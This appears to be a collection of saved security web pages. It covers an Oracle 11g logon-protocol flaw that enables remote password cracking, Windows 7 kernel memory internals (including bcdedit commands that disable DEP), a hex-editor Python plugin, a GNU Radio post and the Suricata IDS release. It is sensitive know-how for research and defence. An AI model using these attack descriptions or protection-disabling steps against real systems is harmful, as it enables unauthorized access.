alt='Image' />  
---  
  
Decompiling method with 'yield return' \(Build 528\) <img
src='img/Temp2_4229.jpg' alt='Image' />  
---

# What's My Pass? » Oracle Logon Protocol Flawed

**Created:**| _10/14/2012 4:07:28 PM_  
---|---  
**Updated:**| _10/14/2012 4:07:28 PM_  
**Author:**| __  
**Tags:**| _Oracle passwords auth_  
  

<img src='img/Temp2_9430.jpg' />

Need to secure your usb drive?

<img src='img/Temp2_9428.jpg' />  
<img src='img/Temp2_9434.jpg' alt='punkcomp.com' />

<img src='img/Temp2_9432.jpg' alt='TrackSomebody.com' />

<img src='http://411.Sempai.inFo/411-01.gif' alt='Sempai.inFo - 411' />

<img src='img/Temp2_9431.jpg' alt='Sysninja.com' />

<img src='img/Temp2_9429.jpg' alt='spunlock.com BIOS CRACKERS' />

<img src='img/Temp2_9433.jpg' alt='illmob.org' />

<img
src='http://www.crossloop.com/widgets/profile_black_widget.swf?var1=179708&var2=http://www.crossloop.com'
width='120' height='61' /> <img
src='https://counters.gigya.com/wildfire/IMP/CXNID=2000002.11NXC/bT*xJmx*PTEyMjIzOTAyMjY1NjkmcHQ9MTIyMjM5MDIyOTUzOCZwPTE1NDE*MSZkPSZuPSZnPTEmdD*=.gif'
width='0' height='0' />

<img src='img/Temp2_9435.jpg' width='1' height='1' />

###  Oracle Logon Protocol Flawed

September 20th, 2012 by admin in cracking

There is a serious vulnerability in the authentication protocol used by some
Oracle databases, a flaw that could enable a remote attacker to brute-force a
token provided by the server prior to authentication and determine a user’s
password. The attacker could then log on as an authenticated user and take
unauthorized actions on the database. The researcher who discovered the bug
has a tool that can crack some simple passwords in about five hours on a
normal PC.

The vulnerability exists in Oracle Database 11g Releases 1 and 2 and is caused
by a problem with the way the authentication protocol protects session keys
when users try to log in. The first step in the authentication process when a
client contacts the database server is for the server to send a session key
back to the client, along with a salt. The vulnerability enables an attacker
to link a specific session key with a specific password hash.  

“This Session Key is a random value that the server generates and sends as the
initial step in the authentication process, before the authentication has been
completed. This is the reason why this attack can be done remotely without the
need of authentication and also, as the attacker can close the connection once
the Session Key has been sent, there is no failed login attempt recorded in
the server because the authentication is never completed,” said Esteban
Martinez Fayo, a researcher at AppSec Inc., who discovered the flaw and will
discuss it at the Ekoparty conference Thursday.

“Once the attacker has a Session Key and a Salt \(which is also sent by the
server along with the session key\), the attacker can perform a brute force
attack on the session key by trying millions of passwords per second until the
correct one is found. This is very similar to a SHA-1 password hash cracking.
Rainbow tables can’ t be used because there is a Salt used for password hash
generation, but advanced hardware can be used, like GPUs combined with
advanced techniques like Dictionary hybrid attacks, which can make the
cracking process much more efficient.”

Fayo found the bug after noticing that there was an inconsistency in the way
that clients and database servers handled failed log-in attempts. He found
that log-in attempts with incorrect passwords were handled differently by the
client than by the server and started looking more closely at why that was.

“Basically, I discovered that not all failed login attempts were recorded by
the database. Looking closer at the issue, I located the problem in the way
that one of the components of the logon protocol, the Session Key, was
protected. I noticed that, in a certain way, the Session Key was leaking
information about the password hash,” he said.

Fayo said that Oracle has released a new version of the authentication
protocol, version 12, which fixes this problem. However, he said that Oracle
is not planning to fix the bug in version 11.1 of the protocol, and that even
after applying the patch that includes the updated protocol, database servers
are still vulnerable by default. Administrators need to change the
configuration of the server in order to only allow the new version of the
protocol.

Because the vulnerability is in a widely deployed product and is easy to
exploit, Fayo said he considers it to be quite dangerous.

“The Oracle stealth password cracking vulnerability is a critical one. There
are many components to affirm this: It is easy to exploit, it doesn’t leave
any trace in the database server and it resides in an essential component of
the logon protocol,” he said.

“It is very simple to exploit. The attacker just needs to send a few network
packets or use a standard Oracle client to get a Session Key and Salt for a
particular user. Then, an attack similar to that of cracking SHA-1 password
hash can be performed. I developed a proof-of-concept tool that shows that it
is possible to crack an 8 characters long lower case alphabetic password in
approximately 5 hours using standard CPUs.”

In addition to–or in lieu of–the patch, Fayo said database administrators also
could mitigate the effects of the vulnerability by requiring external
authentication or disabling the Oracle logon protocol version 11 on the
server.

src: http://threatpost.com/en\_us/blogs/flaw-oracle-logon-protocol-leads-easy-
password-cracking-092012

# Introducing PyHiew | Elias Bachaalany's Blog
**Created:**| _8/24/2010 3:15:18 PM_  
---|---  
**Updated:**| _8/24/2010 3:15:36 PM_  
**Author:**| __  
**Tags:**| _python reversing Hacks plugin Hex_  
  

# Introducing PyHiew

Posted on August 21, 2010 by 0xeb

PyHiew \(open source project\) is a Hiew external module \(HEM\) that allows
users to write Python scripts that can interface with Hiew.

It wraps most of the functionality present in the HEM SDK, thus allowing the
users to programmatically access Hiew and do things like:

  * Create windows
  * Create menus
  * Show messages
  * Get input from user
  * File I/O: Read, Write, Find
  * etc…

For example, here is a “Hello world” script:

> import hiew
> hiew.Message\(“Hi”, “Hello world\!”\)
<img src='img/Temp2_4523.gif' width='390' height='65' alt='hello_world' />

To demonstrate how it works, let us download the pre-compiled package and
install it:

  * Unzip the package to %HIEW%
  * Verify that %HIEW%\pyhiew folder exists
  * Make sure that Python 2.7 is installed
  * Run hiew32 against an input file
  * Press F11 to launch Hiew’s the external modules browser

<img src='img/Temp2_4527.gif' width='553' height='168' alt='hem_list' />

If other HEMs are installed they will be listed too.

Pressing ENTER to select “Python Hiew” will take you to PyHiew’s script
browser:

<img src='img/Temp2_4528.gif' width='369' height='160' alt='cliptext_hem' />

What you see is a list of PyHiew scripts \(in %HIEW%\pyhiew\) that come with
the package:

  * ClipText: a script that allows you to copy Hiew selection to clipboard into various formats \(C source, Pascal, text, …\)
  * Decompress: a script that will allow you to decompress a gzip compatible stream from inside Hiew
  * hello: the hello world script
  * test\_pyshell: a simple script that allows you to execute Python statements

Let us now play with ClipText by making a block selection with Hiew and
pressing F11 –> PyHiew –> ClipText

<img src='img/Temp2_4525.gif' width='384' height='124' alt='cliptext_menu_c'
/>

We select “Copy as C array” and press ENTER:

<img src='img/Temp2_4524.gif' width='533' height='142' alt='cliptext_copied_c'
/>

To verify that it works, let us open a text editor and paste from the
clipboard:

<img src='img/Temp2_4522.gif' width='644' height='117' alt='cliptext_out_c' />

It works\! <img src='img/Temp2_4526.gif' alt=':)' />

Let us now run the Decompress script by first loading a PDF file that got some
streams with FlateDecode filter:

<img src='img/Temp2_4529.gif' width='544' height='192'
alt='decompress1_select_stream' />

We manually select the stream \(we don’t have to if we write a small script
that detected the boundaries for us\) and press F11 –> PyHiew –> Decompress:

<img src='img/Temp2_4520.gif' width='576' height='72'
alt='decompress1_outfile' />

The script will ask for an output file name, and after that we can open that
file and verify if decompression went okay:

<img src='img/Temp2_4521.gif' width='646' height='331' alt='decompress1_out'
/>

Neat huh?\! <img src='img/Temp2_4526.gif' alt=':)' />

If you’re curious, here’s the Decompress.py source code:

<img src='img/Temp2_4530.gif' width='519' height='622' alt='decompress_src' />

That’s it for now. Make sure you refer to the “doc” folder if you want to
write your own scripts.

A discussion group has been created to share useful scripts and address
technical problems.

Last but not least, for those who do not know, you can have process editing
facilities in Hiew simply by using my old utility Hiew+ \(which still works
with the latest versions of Hiew\). Get it from
http://lgwm.org/projects/hiewplus/.

Stay tuned\!  
Elias

# \[Discuss-gnuradio\] tune\_request feature for UHD's USRP blocks in GRC

**Created:**| _2/11/2012 11:43:37 AM_  
---|---  
**Updated:**| _2/11/2012 11:43:39 AM_  
**Author:**| __  
**Tags:**| _USRP Gnuradio_  
  

## \[Discuss-gnuradio\] tune\_request feature for UHD's USRP blocks in GRC

* * *
**From** : |  Josh Blum  
---|---  
**Subject** : |  \[Discuss-gnuradio\] tune\_request feature for UHD's USRP blocks in GRC  
**Date** : |  Tue, 20 Sep 2011 19:33:29 -0700  
**User-agent** : |  Mozilla/5.0 \(X11; U; Linux x86\_64; en-US; rv:1.9.2.21\) Gecko/20110831 Lightning/1.0b2 Thunderbird/3.1.13  
* * *
[code]

    A few people have mentioned wanting to tune the UHD's USRP source/sink
    block without any tune error correction in the FPGA DSP. Described here:
    http://files.ettus.com/uhd_docs/manual/html/general.html#tuning-notes
    
    
    So you can do this in python with tune_request as follows:
    tr = uhd.tune_request(target_freq)
    tr.dsp_freq = 0
    tr.dsp_freq_policy = uhd.tune_request.POLICY_MANUAL
    usrp.set_center_freq(tr)
    
    
    However, this is cumbersome to setup the struct inside GRC. So, I added
    a convenience constructor that initializes the struct using **kwargs:
    Inside the tune frequency parameter, use this one-liner instead:
    uhd.tune_request(target_freq, dsp_freq=0,
    dsp_freq_policy=uhd.tune_request.POLICY_MANUAL)
    
    
    If you want to use this feature, go ahead and cherry-pick this change. I
    tested out that the constructor works but have not yet given it a live
    run:
    http://gnuradio.org/cgit/jblum.git/commit/?h=uhd_tune_req_kwargs&id=fe4a627dee67cc05e1516fdbacd977a8cbca89a6
    
    -Josh
    
[/code]

# Using nt\!\_MiSystemVaType to navigate dynamic kernel address space in
Windows7

**Created:**| _2/5/2011 12:32:54 PM_  
---|---  
**Updated:**| _2/5/2011 12:33:09 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security kernel_  
  

## Using nt\!\_MiSystemVaType to navigate dynamic kernel address space in
Windows7

> 32-bit Windows Vista and later use a feature known as  _Dynamic Kernel
> Address Space_. To quote from a technical article - the Memory Manager
> dynamically manages the kernel's address space, allocating and deallocating
> space to various uses to meet the needs of the system. As a result, the
> amount of virtual memory being used for internal components, device drivers,
> the file system cache, kernel stacks, system PTE's, per-session code data
> structures as well as paged and nonpaged pool memory will grow and shrink
> based on system activity.  
>  
>  The key to keeping track of all this dynamic memory lies in the unexported
> pointer **nt\!\_MiSystemVaType** , a mapped array of byte values that
> describes both the type of memory allocation, and by virtue of the indexed
> position within the array, the location and size of the memory block. Each
> time there is a new memory allocation, the MiSystemVaType array is updated.  
>  
>  In this code project I will try to show how to use MiSystemVaType to
> navigate the dynamic kernel address space to get a complete mapping of the
> various allocation types. In addition, I'll give an example of how to use it
> to find and identify loaded drivers, as well as discuss how it might be used
> to conduct efficient memory pool searches.  
>  
>  Here are a few background articles on the subject at hand:  
>  
>  Understanding the kernel address space on 32-bit Windows Vista  
>  http://www.nynaeve.net/?p=261  
>  
>  Inside the Windows Vista Kernel: Part 2  
>  http://technet.microsoft.com/en-us/magazine/2007.03.vistakernel.aspx  
>  
>  Windows® Internals, Fifth Edition  
>  9.5.7 Dynamic System Virtual Address Space Management  
>  http://www.microsoft.com/learning/en/us/book.aspx?ID=12069&locale=en-us  
>  
>  
>  _**MiSystemVaType:**_  
>  
>  nt\!\_MiSystemVaType is a pointer to an array of byte values of enum type
> **MI\_SYSTEM\_VA\_TYPE**. Each byte in the array describes a single Large
> Page and maps, in sequential order, the entire upper 2GB of logical address
> space from 0x80000000 \(_MmSystemRangeStart_\) - 0xFFFFFFFF. The size of the
> byte array is either 0x400 when PAE is enabled, where the default size of a
> Large Page is 2MB, or 0x200 in non-PAE mode, which uses a Large Page size of
> 4MB.  
>  
>  The enum type values can be listed with WinDbg/LiveKd:  
>  
>
> Code:
[code]

>     kd> dt nt!_MI_SYSTEM_VA_TYPE
>  
>        MiVaUnused = 0n0
>        MiVaSessionSpace = 0n1
>        MiVaProcessSpace = 0n2
>        MiVaBootLoaded = 0n3
>        MiVaPfnDatabase = 0n4
>        MiVaNonPagedPool = 0n5
>        MiVaPagedPool = 0n6
>        MiVaSpecialPoolPaged = 0n7
>        MiVaSystemCache = 0n8
>        MiVaSystemPtes = 0n9
>        MiVaHal = 0n10
>        MiVaSessionGlobalSpace = 0n11
>        MiVaDriverImages = 0n12
>        MiVaSpecialPoolNonPaged = 0n13
>        MiVaMaximumType = 0n14
>  
[/code]

> **  
>  
>  _PAE mode:_**  
>  
>  The Physical Address Extension \(PAE\) processor feature enables use of
> 64-bit page table entries for physical addresses that are wider than 32
> bits. If PAE is enabled, the size of page table entries \(PTEs\) are
> increased from 32 to 64 bits \(4 to 8 bytes\). Consequently, the size of a
> Large Page is reduced from 4MB to 2MB in PAE mode. One can determine the
> size of the PTE data structure, **nt\!\_MMPTE** , \(and hence if PAE is
> enabled or not\) with the command:  
>  
>
> Code:
[code]

>     kd> dt -v nt!_MMPTE
>     struct _MMPTE, 1 elements, 0x8 bytes
>  
[/code]

> To determine if PAE is enabled programmatically we can read the
> _ProcessorFeatures_ field of **KUSER\_SHARED\_DATA** , a shared memory
> structure mapped to all processes and located at 0x7FFE0000 in usermode.
> This is equivalent to what the  _IsProcessorFeaturePresent_API does.  
>  
>  KUSER\_SHARED\_DATA is duplicated at 0xFFDF0000 in kernelmode. Fortunately
> ntddk.h gives us a handy macro with which to work with it. The snippet below
> will give us \(by inference\) the size of nt\!\_MMPTE, from which we can
> derive the size of a large page and the size of the MiSystemVaType array.  
>  
>
> PHP Code:
> ``\#define KI\_USER\_SHARED\_DATA 0xffdf0000  
>  \#define SharedUserData \(\(KUSER\_SHARED\_DATA \* const\)
> KI\_USER\_SHARED\_DATA\)  
>  
>  // Determine if PAE is enabled from
> KI\_USER\_SHARED\_DATA.ProcessorFeatures  
>  
> if\(SharedUserData->ProcessorFeatures\[PF\_PAE\_ENABLED\]\)  
>  \{  
>  DbgPrint \("PAE enabled\n"\);  
>  
>  sizeof\_MMPTE = 8;  
>  
>  \} else \{  
>  
>  DbgPrint \("PAE not enabled\n"\);  
>  
>  sizeof\_MMPTE = 4;  
>  \}  
> ``
> In the registry the PAE status can be read from  
>  _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session
> Manager\Memory Management\PhysicalAddressExtension_  
>  
>  Here is a summary of the differences between PAE and non-PAE mode which are
> relevant to our code:  
>  
>
> Code:
[code]

>     (PAGE_SIZE = 0x1000)
>  
>     **PAE enabled:**
>  
>         nt kernel version:
>              ntkrnlpa.exe: 1 CPU, PAE
>              ntkpamp.exe:  n CPU, SMP, PAE
>  
>         sizeof_MMPTE = 8
>  
>         LARGE_PAGE_SIZE = PAGE_SIZE * PAGE_SIZE / sizeof_MMPTE = 0x200000
> (2MB)
>         sizeof MiSystemVaType array = (0xFFFFFFFF+1 -
> (ULONG)MmSystemRangeStart) / LARGE_PAGE_SIZE = 0x400
>  
>         0x400 * 0x200000 = 0x80000000 = (0x80000000 / 1024 /1024 /1024) =
> 2GB
>  
>  
>     **PAE disabled:**
>  
>         nt kernel version:
>             ntoskrnl.exe: 1 CPU
>             ntkrnlmp.exe: n CPU, SMP
>  
>         sizeof_MMPTE = 4
>  
>         LARGE_PAGE_SIZE = PAGE_SIZE * PAGE_SIZE / sizeof_MMPTE = 0x400000
> (4MB)
>         sizeof MiSystemVaType array = (0xFFFFFFFF+1 -
> (ULONG)MmSystemRangeStart) / LARGE_PAGE_SIZE = 0x200
>  
>         0x200 * 0x400000 = 0x80000000 = 2GB
>  
[/code]

> PAE is enabled by default in Windows 7, if you wish to test the included
> code in non-PAE mode use BCDEdit as follows:  
>  
>  If DEP is enabled, PAE cannot be disabled. Use the following BCDEdit /set
> commands to disable both DEP and PAE:  
>  
>  _bcdedit /set nx AlwaysOff  
>  bcdedit /set pae ForceDisable_  
>  
>  To restore:  
>  
>  _bcdedit /set nx Optout_ \(or one of \[Optin |OptOut | AlwaysOn\]\)  
>  _bcdedit /set pae ForceEnable_  
>  
>  http://msdn.microsoft.com/en-us/library/aa366796\(v=vs.85\).aspx  
>  **  
>  
>  _Finding the unexported pointer nt\!\_MiSystemVaType:_**  
>  
>  We need to programmatically find the offset to nt\!\_MiSystemVaType. Since
> this is an unexported pointer we'll have to parse a known kernel function
> which makes use of the variable. Uh Oh. Production code need not apply <img
> src='img/Temp2_8784.gif' />. Oh well, this is an RCE forum, right? At least
> that's better than using a hard-coded value, not as good as using symbols.  
>  
>  Rather than using a classic byte-pattern search that is often used to find
> unexported variables, I made use of a clever idea **Zairon** mentioned to
> me, that of looking for cross references between code and data sections in
> order to pick up instances of data variable usage. In essence, derive XREFS
> similar to IDA.  
>  
>  I really like Zairon's idea of using XREF analysis over a byte-pattern
> search method because it's simple, highly adaptable, and is less susceptible
> to changing byte patterns between different OS kernel versions.  
>  
>  The function I chose to parse for the offset of MiSystemVaType was the
> exported  _MmIsNonPagedSystemAddressValid_procedure. The simple algorithm
> logic I used was: "_Scan for the first data XREF to the section called
> '.data''_ "  
>  
>  See the source code for the specific algorithm I implemented, plus a few
> suggestions for creating a more rigorous algorithm if desired, such as using
> a length disassembly engine \(LDE\) to avoid the possibility a false XREF
> could occur across instructions.  
>  
>  The simple logic above should be valid for all current 32-bit nt\* kernel
> versions in Windows 7 / Vista / Server 2008. Even better,
> MmIsNonPagedSystemAddressValid has been deemed to be obsolete and is
> exported to support existing drivers only, so it's more unlikely to change
> anytime soon.  
>  
>
> Code:
[code]

>     _MmIsNonPagedSystemAddressValid@4 proc
>     8B FF                             mov     edi, edi
>     55                                push    ebp
>     8B EC                             mov     ebp, esp
>     53                                push    ebx
>     56                                push    esi
>     8B 35 18 57 97 82                 mov     esi, ds:_MmSystemRangeStart //
> xref to ALMOSTRO
>     57                                push    edi
>     8B 7D 08                          mov     edi, [ebp+VirtualAddress]
>     BB F8 3F 00 00                    mov     ebx, 3FF8h
>     3B FE                             cmp     edi, esi
>     72 25                             jb      short loc_828F17A8
>     8B C6                             mov     eax, esi
>     C1 E8 12                          shr     eax, 12h
>     8B CF                             mov     ecx, edi
>     C1 E9 12                          shr     ecx, 12h
>     23 C3                             and     eax, ebx
>     23 CB                             and     ecx, ebx
>     2B C8                             sub     ecx, eax
>     C1 F9 03                          sar     ecx, 3
>     8A 81 **60 51 95 82**                 mov     al,
> **_MiSystemVaType**[ecx]  // **xref to .data**
>  
[/code]

> _**  
>  
>  Making sense of MiSystemVaType:**_  
>  
>  Now that we've got the pointer to nt\!\_MiSystemVaType, what do we do with
> it? The first obvious thing is just to list everything out.  
>  
>  Let's take a look at the first 0x10 bytes of the MiSystemVaType array. Each
> byte maps a logical address block of LARGE\_PAGE\_SIZE, beginning at
> MmSystemRangeStart.  
>  
>
> Code:
[code]

>     kd> x nt!MiSystemVaType
>  
>     82955160 nt!MiSystemVaType = <no type information>
>  
>     kd> db 82955160
>     82955160 **03 03** 09 09 03 03 03 03-03 03 03 03 03 03 03 06
> ................
>     82955170
>  
[/code]

> We see that the first byte is 0x03, which is the nt\!\_MI\_SYSTEM\_VA\_TYPE
> enum type  _MiVaBootLoaded_. It describes the logical address block from
> 0x80000000 - 0x801fffff \(PAE enabled, Large Page size = 2MB\). The second
> byte is also 0x03 and maps 0x80200000 - 0x803fffff. The 3rd and 4th bytes
> are  _MiVaSystemPtes_ , the next 11 bytes are again _MiVaBootLoaded_ , and
> so forth.  
>  
>  Our program output will list that as follows:  
>  
>
> Code:
[code]

>     ### Start    End        Length (  MB) Count Type  
>     001 80000000 803fffff   400000 (   4)    **2 BootLoaded**
>     002 80400000 807fffff   400000 (   4)    2 SystemPtes
>     003 80800000 81dfffff  1600000 (  22)   11 BootLoaded
>     004 81e00000 825fffff   800000 (   8)    4 PagedPool
>     ...
>  
[/code]

> At this point I'll mention a very nice WinDbg extension **cmkd\!kvas** which
> uses the  _known_ symbolic offset value of nt\!\_MiSystemVaType to produce
> the same output.  
>  
>  CodeMachine Debugger Extension DLL \(CMKD.dll\)  
>  http://www.codemachine.com/tool\_cmkd.html  
>  
>  Unfortunately, there's a bug in the code and the Length and MB columns give
> incorrect values for every entry except the first one. It's just a small
> implementation bug, a counter used incorrectly. Here is the same output as
> above, from cmkd. It seems apparent to me that there's an extra 200000 bytes
> \(large page size with PAE enabled\) added to the Length calculation from
> the second entry onwards.  
>  
>
> Code:
[code]

>     kd> .load cmkd
>     kd> !cmkd.kvas
>     ### Start    End        Length (  MB)    Count Type
>     000 80000000 803fffff   400000 (   4)        2 BootLoaded
>     001 80400000 807fffff   600000 (   6)        2 SystemPtes
>     002 80800000 81dfffff  1800000 (  24)       11 BootLoaded
>     003 81e00000 825fffff   a00000 (  10)        4 PagedPool
>  
[/code]

> It's a nice WinDbg extension nonetheless with other useful commands, just
> take note of this error if using it.  
>  
>  For consistency, comparison, and in recognition of the cmkd author, I have
> used the same logical output format and features in my code.  
>  
>  
>  _**Enumerating Driver Modules:**_  
>  
>  Another feature I added to the code, just to see what else could be done,
> was an option to scan all memory blocks of type  _MiVaBootLoaded_ and
> _MiVaDriverImages_ for MZ headers in order to identify the modules contained
> within them. To name the modules I matched the base address with the results
> from  _ZwQuerySystemInformation\(SystemInformationClass\)_. Any modules
> _not_ matching might be considered as hidden drivers.  
>  
>  For interest, here are the modules classified as  _MiVaBootLoaded_ :  
>  
>
> Code:
[code]

>     ### Base     Size     ImageName
>     001 80bc1000 00008000 kdcom.dll
>     002 82817000 00037000 halmacpi.dll
>     003 8284e000 00410000 ntkrnlpa.exe
>  
[/code]

> **  
>  
>  _Pool Searching:_**  
>  
>  The following section is not directly related to the code and is probably
> of limited interest. It mainly details the differences in some kernel global
> pool variables between Windows 7 and XP.  
>  
>  For background reference on some reasons why we'd be interested in pool
> searching, see  
>  
>  GREPEXEC: Grepping Executive Objects from Pool Memory  
>  http://uninformed.org/?v=4&a=2&t=txt  
>  
>  On the one hand we have what seems like a very nice mechanism in
> MiSystemVaType for searching through the various memory allocation types.
> Want to search the Paged Pool? Just parse the MiSystemVaType array for large
> pages presently tagged for that allocation type and search through them for
> valid pool headers.  
>  
>  On the other hand, that's not the way Windows seems to view it.  
>  
>  In the following article, Mark Russinovich describes how in 32-bit Windows
> Vista and later with dynamic kernel address space, the paged pool limit is
> simply set to 2GB, and will run out either when the system address space is
> full or the system commit limit is reached. Similarly, the nonpaged pool
> limit is set at ~75% of RAM or 2GB, whichever is smaller.  
>  
>  Pushing the Limits of Windows: Paged and Nonpaged Pool  
>  http://blogs.technet.com/b/markrussinovich/archive/2009/03/26/3211216.aspx  
>  
>  
>  Evidence for the above can be seen in the WinDbg **\!poolfind** command,
> used to find all instances of a specific pool tag in either nonpaged or
> paged memory pools \(as used by  _ExAllocatePoolWithTag_\).  
>  
>  In Windows 7, \!poolfind sets by default the pool limits for each
> \[PoolType\] flag it supports to almost the full upper 2GB address range,
> 80000000 - ffc00000 \(the address range between 0xffc00000-0xffffffff is
> reserved for HAL, i.e. the last 2 bytes of the MiSystemVaType array are
> always enum type  _MiVaHal_\).  
>  
>  Here is an example when searching the Paged Pool for the tag 'Cbrb'. This
> tag is used for allocations by the system callbacks
> _PspCreateProcessNotifyRoutine_ ,  _PspLoadImageNotifyRoutine_ ,
> _PspCreateThreadNotifyRoutine_ , and in XP,_CmRegisterCallback_.  
>  
>
> Code:
[code]

>     Windows 7:
>  
>     kd> !poolfind Cbrb 1
>  
>     Scanning large pool allocation table for Tag: Cbrb (b5800000 : b5c00000)
>  
>     Searching Paged pool (**80000000 : ffc00000**) for Tag: Cbrb
>  
[/code]

> In XP the same command will search between the system values of
> _MmPagedPoolStart_\(0xe1000000\) and _MmPagedPoolEnd_\(0xf0ffffff\).  
>  
>
> Code:
[code]

>     XP:
>  
>     kd> !poolfind Cbrb 1
>  
>     Scanning large pool allocation table for Tag: Cbrb (823ec000 : 823f8000)
>  
>     Searching Paged pool (**e1000000 : f1000000**) for Tag: Cbrb
>  
[/code]

> In Windows 7 many of the global variables such as nt\!MmPagedPoolStart,
> nt\!MmPagedPoolEnd and related NonPagedPool variables mentioned in the
> GREPEXEC article are no longer valid. We can see this by parsing the
> \(PKDDEBUGGER\_DATA64\)**KdDebuggerDataBlock** structure, which is
> accessible through the Kernel Processor Control Region \(KPCR\). See the
> following articles for background on this well known "KPCR trick".  
>  
>  Finding some non-exported kernel variables in Windows XP  
>  http://www.rootkit.com/vault/Opc0de/GetVarXP.pdf  
>  
>  Getting Kernel Variables from KdVersionBlock, Part 2  
>  http://www.rootkit.com/newsread.php?newsid=153  
>  
>  Finding Kernel Global Variables in Windows  
>  http://moyix.blogspot.com/2008/04/finding-kernel-global-variables-in.html  
>  
>  Finding Object Roots in Vista \(KPCR\)  
>  http://blog.schatzforensic.com.au/2010/07/finding-object-roots-in-vista-
> kpcr/  
>  
>  
>  I made up a small driver to retrieve the offset of KdDebuggerDataBlock and
> loaded up the driver symbols in LiveKd so the**KDDEBUGGER\_DATA64**
> structure would be defined in order to get the following output.  
>  
>  You can see that several of the fields that in XP would normally be
> pointers to global pool variables are now zeroed out, having been made
> redundant in Window 7/Vista by Dynamic Kernel Address Space and the
> MiSystemVaType mechanism.  
>  
>
> Code:
[code]

>     kd> dt -b k_kpcr!dummy 82976be8 //
> (PKDDEBUGGER_DATA64)KdDebuggerDataBlock
>  
>        +0x0a8 MmSystemCacheStart : 0
>        +0x0b0 MmSystemCacheEnd : 0
>  
>        +0x0c8 MmSystemPtesStart : 0
>        +0x0d0 MmSystemPtesEnd  : 0
>  
>        +0x108 MmNonPagedSystemStart : 0
>        +0x110 MmNonPagedPoolStart : 0x829b612c => 0x8b971000 // not
> relevant
>        +0x118 MmNonPagedPoolEnd : 0
>        +0x120 MmPagedPoolStart : 0
>        +0x128 MmPagedPoolEnd   : 0x829b6098 => 0
>  
>        +0x278 MmSessionBase    : 0
>        +0x280 MmSessionSize    : 0
>  
[/code]

> Another place we can see the use of the maximized pool limits, which again
> differs from XP, is in the per-session**nt\!\_MM\_SESSION\_SPACE**
> structure. Session pool memory \(used by win32k\) is used for session space
> allocations and is unique to each user session. While non-paged session
> memory use the global non-paged pool descriptor\(s\), paged session pool
> memory has its own pool descriptor defined in \_MM SESSION SPACE.  
>  
>  Kernel Pool Exploitation on Windows 7  
>  http://www.mista.nu/research/  
>  
>  
>  Parsing MM\_SESSION\_SPACE we see that the full kernel address space is
> defined as paged session pool memory:  
>  
>
> Code:
[code]

>     kd> !sprocess
>     Dumping Session 1
>  
>     _MM_SESSION_SPACE 9007a000
>  
>     kd> dt nt!_MM_SESSION_SPACE 9007a000
>  
>        +0x02c PagedPoolStart   : 0x80000000
>        +0x030 PagedPoolEnd     : 0xffbfffff
>  
[/code]

> **  
>  
>  _Conclusion:_**  
>  
>  So far we've seen that Windows 7 defines the same extended upper and lower
> pool limits for at least paged, nonpaged and session memory. WinDbg
> \!poolfind assumes the same thing and unfortunately it significantly slows
> down pool-specific searches \(try timing the difference between XP and
> Windows 7 for the same search\).  
>  
>  From a reversers perspective however, we could use MiSystemVaType to narrow
> down the search limits rather than enumerating the entire system address
> space. For example, using the code from this project we can find that
> _MiVaNonPagedPool_ and  _MiVaSessionSpace_ type memory is isolated within
> the following regions:  
>  
>
> Code:
[code]

>     ### Start    End        Length (  MB) Count Type  
>     001 8b600000 8bbfffff   600000 (   6)    3 NonPagedPool
>     002 8c000000 8c1fffff   200000 (   2)    1 NonPagedPool
>     003 8c400000 8d9fffff  1600000 (  22)   11 NonPagedPool
>     004 b5800000 b5bfffff   400000 (   4)    2 NonPagedPool
>  
>     ### Start    End        Length (  MB) Count Type  
>     001 fda00000 fdbfffff   200000 (   2)    1 SessionSpace
>     002 fde00000 ffbfffff  1e00000 (  30)   15 SessionSpace
>  
[/code]

> Ultimately, it seems like any algorithm one might develop for pool searching
> would come down to using nt\!\_MiSystemVaType for the efficiency of being
> able to identify pool-specific regions, or searching the entire system
> address space, a much slower proposition, for the simplicity of not having
> to write those extra procedures.  
>  
>  A Visual Studio project with complete source is included, driver and
> application binaries are under /bin/i386.  
>  
>  Kayaker  
>  
>  <img src='img/Temp2_8783.gif' />
> <img src='img/Temp2_8785.gif' />

# Emerging Threats

**Created:**| _1/1/2010 12:54:08 PM_  
---|---  
**Updated:**| _1/1/2010 12:54:19 PM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark_  
  

# EMERGING THREATS

  * <img src='img/Temp2_2691.png' alt='Increase font size' />
  *   * <img src='img/Temp2_2689.png' alt='Default font size' />
  *   * <img src='img/Temp2_2690.png' alt='Decrease font size' />

## OISF Releases Suricata Engine\!

Thursday, 31 December 2009 17:41 Matt Jonkman Full Announcement here:
http://www.openinfosecfoundation.org/NOTE: OISF has been Slashdotted, may be
slow to respond. You may have been redirected here to handle the load. Please
try OISF again in a few hours\!  
  
It's been about three years in the making, but the day has finally come\! We
have the first release of the Suricata Engine\! The engine is an Open Source
Next Generation Intrusion Detection and Prevention Tool, not intended to just
replace or emulate the existing tools in the industry, but to bring new ideas
and technologies to the field.  
The Suricata Engine and the HTP Library are available to use under the GPLv2.  
The HTP Library is an HTTP normalizer and parser written by Ivan Ristic of Mod
Security fame for the OISF. This integrates and provides very advanced
processing of HTTP streams for Suricata. The HTP library is required by the
engine, but may also be used independently in a range of applications and
tools.  
This is considered a Beta Release as we are seeking feedback from the
community. This release has many of the major new features we wanted to add to
the industry, but certainly not all. We intend to get this base engine out and
stable, and then continue to add new features. We expect several new releases
in the month of January culminating in a production quality release shortly
thereafter.  
The engine and the HTP Library are available here:
http://www.openinfosecfoundation.org/index.php/download-suricata  
Please join the oisf-users mailing list to discuss and share feedback. The
developers will be there ready to help you test.
http://lists.openinfosecfoundation.org/mailman/listinfo/oisf-users  
  
As this is a first release we don't really have a "what's New" section because
everything is new. But we do have a number of new ideas and new concepts to
Intrusion Detection to note. Some of those are listed below:  
  
**Multi-Threading** Amazing that multi-threading is new to IDS, but it is, and
we've got it\!  
**Automatic Protocol Detection** The engine not only has keywords for IP, TCP,
UDP and ICMP, but also has HTTP, TLS, FTP and SMB\! A user can now write a
rule to detect a match within an HTTP stream for example regardless of the
port the stream occurs on. This is going to revolutionize malware detection
and control. Detections for more layer 7 protocols are on the way.  
**Gzip Decompression** The HTP Parser will decode Gzip compressed streams,
allowing much more detailed matching within the engine.  
**Independent HTP Library** The HTP Parser will be of great use to many other
applications such as proxies, filters, etc. The parser is available as a
library also under GPLv2 for easy integration ito other tools.  
**Standard Input Methods** You can use NFQueue, IPFRing, and the standard
LibPcap to capture traffic. IPFW support coming shortly.  
**Unified2 Output** You can use your standard output tools and methods with
the new engine, 100% compatible\!  
**Flow Variables** It's possible to capture information out of a stream and
